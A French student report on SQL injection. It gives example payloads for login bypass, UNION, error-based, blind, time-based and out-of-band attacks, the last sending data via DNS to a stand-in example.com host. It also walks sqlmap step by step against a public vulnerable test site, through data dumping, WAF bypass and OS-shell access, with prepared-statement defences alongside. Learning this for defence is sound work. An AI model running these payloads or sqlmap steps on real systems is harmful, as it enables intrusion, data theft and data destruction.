Master Big Data Analytics & Smart Systems

RAPPORT

Travail Hors Classe SQLi

Réaliser par :

Nome :ELHAGOUCHI HALIMA

CRE :R137799809

Code:6309

Mail: elhagouchihalima@gmail.com

Année universitaire 2023/2024

Table des matières

SQLI

Définition

Une injection SQL (SQL Injection, ou SQLi) est une vulnérabilité de sécurité qui se produit lorsqu'un attaquant insère du code SQL malveillant dans une requête SQL par le biais de l'entrée de l'utilisateur. Cette vulnérabilité permet à l'attaquant d'exécuter des commandes SQL non prévues par l'application, ce qui peut mener à des actions malveillantes telles que :

- Accéder à des données non autorisées.
- Modifier ou supprimer des données.
- Exécuter des opérations administratives sur la base de données.
- Contourner les contrôles d'authentification.

a- Nature de la vulnérabilité :

Une injection SQL se produit lorsque des entrées fournies par l'utilisateur sont directement insérées dans une requête SQL sans être correctement échappées ou validées.

b- Points d'entrée typiques :

Formulaires web (comme les formulaires de connexion ou de recherche). URL (paramètres GET). Champs de saisie de données (comme les commentaires ou les messages).

c- Exploitation :

L'attaquant injecte du code SQL dans un champ de saisie. Par exemple, en entrant '; DROP TABLE utilisateurs; -- dans un champ de nom d'utilisateur, l'attaquant peut manipuler la requête SQL pour exécuter des commandes destructrices.

d- Impact potentiel :

- **Accès non autorisé :** Les attaquants peuvent récupérer des données sensibles telles que des mots de passe, des informations personnelles, etc.
- **Modification de données** : Ils peuvent modifier, ajouter ou supprimer des données dans la base de données.
- **Prise de contrôle du serveur :** Dans certains cas, les injections SQL peuvent être utilisées pour exécuter des commandes sur le serveur hébergeant la base de données.
- **Violation de la confidentialité** : Les informations confidentielles peuvent être exposées.
- **Perturbation des opérations :** Les attaquants peuvent rendre des applications inaccessibles ou corrompre des bases de données.

Exemple concret d'injection SQL

Prenons un exemple simple d'un formulaire de connexion avec un champ de nom d'utilisateur et de mot de passe.

```
SELECT * FROM utilisateurs WHERE nom_utilisateur = 'input_utilisateur' AND mot_de_passe = 'input_mot_de_passe';
```

Si l'application ne valide pas correctement les entrées, un attaquant pourrait entrer quelque chose comme :

- Nom d'utilisateur : admin--
- Mot de passe : anything

La requête SQL deviendrait :

```
SELECT * FROM utilisateurs WHERE nom_utilisateur = 'admin' --' AND mot_de_passe = 'anything';
```

Le -- indique un commentaire en SQL, ce qui signifie que tout ce qui suit est ignoré. La requête est donc transformée en :

```
SELECT * FROM utilisateurs WHERE nom_utilisateur = 'admin';
```

Ce qui pourrait donner accès à l'attaquant au compte administrateur sans connaître le mot de passe.

Types de SQL Injection (SQLi) et Comment les Prévenir

SQLi Basée sur l'In-Band (ou SQLi classique)

Description : Cette méthode d'attaque utilise le même canal de communication pour injecter et récupérer les données. Les données injectées dans une requête SQL sont renvoyées dans les résultats de la requête.

Exemples :

Union-Based SQLi : Utilise l'opérateur SQL UNION pour combiner les résultats de plusieurs requêtes en une seule.

```
SELECT nom, adresse FROM utilisateurs WHERE id = 1 UNION SELECT nom_utilisateur, mot_de_passe FROM administrateurs;
```

Error-Based SQLi : Exploite les messages d'erreur SQL pour obtenir des informations sur la structure de la base de données.

```
SELECT * FROM utilisateurs WHERE id = 1' AND 1=CONVERT(int, (SELECT @@version))--'
```

Prévention :

- **Utilisation de requêtes préparées**

```
$stmt = $pdo->prepare('SELECT nom, adresse FROM utilisateurs WHERE id = :id');
$stmt->execute(['id' => $id]);
```

Blind SQLi (SQLi à l'aveugle)

Cette méthode ne renvoie pas directement les résultats de la requête SQL dans les réponses de l'application web. Les attaquants déterminent le succès ou l'échec des requêtes SQL injectées en observant les comportements de l'application.

Exemples :

Boolean-Based Blind SQLi : Envoie des requêtes SQL qui retournent des résultats différents en fonction de conditions vraies ou fausses.

```
SELECT * FROM utilisateurs WHERE id = 1 AND 1=1; -- vrai
SELECT * FROM utilisateurs WHERE id = 1 AND 1=2; -- faux
```

Time-Based Blind SQLi : Utilise des commandes SQL comme SLEEP() pour déclencher des délais et déduire des informations de la base de données.

```
SELECT * FROM utilisateurs WHERE id = 1 AND IF(1=1, SLEEP(5), 0); -- délai de 5 secondes
```

Prévention :

- **Requêtes préparées et paramétrées**

```
$stmt = $pdo->prepare('SELECT * FROM utilisateurs WHERE id = :id');
$stmt->execute(['id' => $id]);
```

- **Limiter les messages d'erreur** : Configurer le serveur pour ne pas afficher les détails des erreurs SQL

SQLi Hors-bande (Out-of-Band SQLi)

Utilise des canaux de communication différents pour injecter et récupérer les données. Cette méthode est utilisée lorsque les autres types de SQLi ne sont pas efficaces.

Exemples : Utilisation de requêtes DNS ou HTTP

```
SELECT load_file(CONCAT('\\\\', (SELECT @@version), '.example.com\\'));
```

Prévention :

Utilisation de requêtes préparées :

```
$stmt = $pdo->prepare('SELECT * FROM utilisateurs WHERE id = :id');
$stmt->execute(['id' => $id]);
```

- Filtrer et valider les entrées utilisateur.

SQLi Basée sur les Erreurs Logiques

Exploite les erreurs logiques dans le traitement des requêtes SQL pour manipuler les résultats et obtenir des informations sensibles.

Exemples : Injection de Booléens

```
SELECT * FROM utilisateurs WHERE id = 1 OR '1'='1';
```

Prévention :

- Utilisation de requêtes préparées

```
$stmt = $pdo->prepare('SELECT * FROM utilisateurs WHERE id = :id');
$stmt->execute(['id' => $id]);
```

- Validation des entrées utilisateur : Utiliser des filtres pour vérifier et limiter les types de données acceptés.

SQLMap

SQLMap est un outil open-source automatisé conçu pour identifier et exploiter les vulnérabilités d'injection SQL dans les applications web. Il est reconnu pour sa puissance et sa flexibilité, rendant les tests de sécurité des bases de données plus faciles et plus efficaces

Détection de Vulnérabilités SQL :

- **Types de Vulnérabilités** : SQLMap peut détecter plusieurs types de vulnérabilités d'injection SQL, y compris les injections basées sur des erreurs (Error-Based), les injections à l'aveugle (Blind SQLi), les injections hors-bande (Out-of-Band), les injections basées sur le temps (Time-Based Blind SQLi), et les injections UNION.
- **Techniques de Détection :** Il utilise diverses techniques pour identifier les vulnérabilités, comme l'analyse des messages d'erreur, l'insertion de payloads spécifiques, et la manipulation de paramètres HTTP.

Exploitation des Vulnérabilités :

- **Extraction de Données :** Une fois une vulnérabilité détectée, SQLMap peut extraire des données spécifiques des bases de données, y compris les noms de tables et de colonnes, les entrées de tables, les utilisateurs de la base de données, etc.

- **Modification de Données :** SQLMap peut également modifier ou supprimer des données dans la base de données ciblée.

- **Exécution de Commandes sur le Système d'Exploitation :** Dans certains cas, SQLMap peut exécuter des commandes sur le système d'exploitation sous-jacent en utilisant la connexion à la base de données.
- **Écriture de Fichiers :** Il peut écrire des fichiers sur le serveur de la base de données, ce qui peut être utilisé pour des attaques de type backdoor.

Automatisation :

- **Remplissage Automatique :** SQLMap peut automatiquement remplir les formulaires web et gérer les cookies et les sessions.

- **Suivi des Redirections :** Il peut suivre les redirections HTTP pour continuer à tester les pages de destination.

- **Multiples Techniques d'Injection** : SQLMap peut essayer plusieurs techniques d'injection en séquence jusqu'à trouver celle qui fonctionne.

Support Multibase de Données :

- **Bases de Données Supportées** : SQLMap supporte une large gamme de SGBD, y compris MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, IBM DB2, SAP MaxDB, Sybase, et plus encore.

Dumping de Base de Données :

- **Exfiltration de Données** : SQLMap peut extraire des données complètes de la base de données vulnérable. Cela inclut le dump de bases de données entières, de tables spécifiques, ou de colonnes spécifiques.

- **Types de Données :** Il peut extraire des informations comme les hash de mots de passe, les emails, les informations personnelles, etc.

Bypass des Mécanismes de Sécurité :

- **Evasion des WAF :** SQLMap possède des techniques pour contourner les pare-feu applicatifs web (WAF) et d'autres mécanismes de sécurité.
- **Encodage :** Il peut utiliser différents encodages et techniques de chiffrement pour échapper aux filtres d'entrée.

Exploitation d'une SQLi avec sqlmap

Exploitation de vulnérabilités SQLi avec SQLMap, en utilisant différentes techniques pour illustrer la flexibilité et la puissance de l'outil. Cet exemple suit les étapes de la découverte de la vulnérabilité à l'extraction de données sensibles, et il inclut des techniques pour contourner les mécanismes de sécurité.

Étape 1 : Identification de la cible

Supposons que vous avez l'URL suivante, qui pourrait être vulnérable à l'injection SQL :

http://testphp.vulnweb.com/listproducts.php?**cat**=1

Étape 2 : Détection de la vulnérabilité SQLi Pour tester la vulnérabilité de l'URL

commencez par exécuter la commande de base :

sqlmap -u **http://testphp.vulnweb.com/listproducts.php?cat=1**

Étape 3 : Affiner la détection avec des options supplémentaires Pour obtenir plus d'informations et affiner la détection

utilisez des options supplémentaires comme --dbs pour lister les bases de données disponibles :

sqlmap -u **"http://testphp.vulnweb.com/listproducts.php?cat=1"** –dbs

Étape 4 : Sélectionner la base de données cible Une fois les bases de données listées, sélectionnez la base de données cible.

Supposons que la base de données cible s'appelle acatalog. Pour lister les tables de cette base de données, utilisez :

sqlmap -u **"http://testphp.vulnweb.com/listproducts.php?cat=1"** -D acatalog –tables

Étape 5 : Sélectionner la table cible

Après avoir listé les tables choisissez une table spécifique. Supposons que vous souhaitez cibler la table products. Pour lister les colonnes de cette table, utilisez :

sqlmap -u **"http://testphp.vulnweb.com/listproducts.php?cat=1"** -D acatalog -T products –columns

Étape 6 : Extraire les données

Pour extraire les données des colonnes spécifiques, par exemple prod_id et prod_name, utilisez :

sqlmap -u **"http://testphp.vulnweb.com/listproducts.php?cat=1"** -D acatalog -T products -C prod_id,prod_name –dump

Étape 7 : Contourner les mécanismes de sécurité

Si la cible utilise un pare-feu applicatif web (WAF) ou d'autres mécanismes de sécurité, vous pouvez utiliser des techniques de contournement (tampering). Par exemple, pour utiliser l'option space2comment :

sqlmap -u **"http://testphp.vulnweb.com/listproducts.php?cat=1"** --tamper=space2comment

Étape 8 : Utilisation de paramètres POST

Si l'application web utilise des paramètres POST, comme lors de la soumission d'un formulaire de recherche de produit, vous pouvez spécifier ces paramètres dans SQLMap :

sqlmap -u **"http://testphp.vulnweb.com/search.php"** --data **"search=widget"**

Étape 9 : Exploitation avancée

Pour obtenir des informations supplémentaires ou exécuter des commandes sur le système d'exploitation sous-jacent, utilisez des options avancées :

- **Obtenir un shell SQL :**

sqlmap –u **"http://testphp.vulnweb.com/listproducts.php?cat=1"** --sql-shell

- **Exécuter des commandes sur le système d'exploitation :**

sqlmap -u **"http://testphp.vulnweb.com/listproducts.php?cat=1"** --os-shell

Résumé

À travers ce TP, j'ai exploré les dangers associés à l'injection SQL (SQLi), une vulnérabilité courante dans les applications web qui permet à un attaquant d'interférer avec les requêtes SQL d'une application. J'ai appris que les attaquants peuvent exploiter cette faille pour accéder à des

données sensibles, contourner les mécanismes d'authentification et même prendre le contrôle du système.

Pour se prémunir contre les attaques par injection SQL, il est crucial d'adopter des bonnes pratiques de développement sécurisé telles que l'utilisation de requêtes préparées, l'échappement des entrées utilisateur, la validation et le nettoyage des données, ainsi que la gestion adéquate des privilèges utilisateur. De plus, l'utilisation de pare-feu applicatifs web (WAF) peut également renforcer la sécurité en filtrant les requêtes malveillantes.

J'ai également découvert SQLMap, un outil puissant d'automatisation des tests de pénétration qui simplifie la détection et l'exploitation des vulnérabilités d'injection SQL. SQLMap offre une multitude de fonctionnalités pour tester la sécurité des bases de données, de la détection des vulnérabilités à l'extraction de données sensibles.

En conclusion, la compréhension des risques liés à l'injection SQL et l'utilisation d'outils tels que SQLMap sont essentielles pour garantir la sécurité des applications web et des bases de données contre les attaques malveillantes. En suivant les bonnes pratiques de sécurité et en restant vigilants, nous pouvons contribuer à renforcer la résilience de nos systèmes face aux menaces en constante évolution.

Références

- https://www.vaadata.com/blog/fr/sqlmap-loutil-pour-identifier-et-exploiter-des-injections-sql/
- https://www.vaadata.com/blog/fr/injections-sql-principes-impacts-exploitations-bonnes-pratiques-securite/

- https://hackntricks.fr/utiliser-sqlmap-pour-realiser-des-injections-sql-get/
- https://www.linkedin.com/pulse/comprendre-les-diff%C3%A9rents-types-de-sql-injection-et-vos-ecoucou-kaas/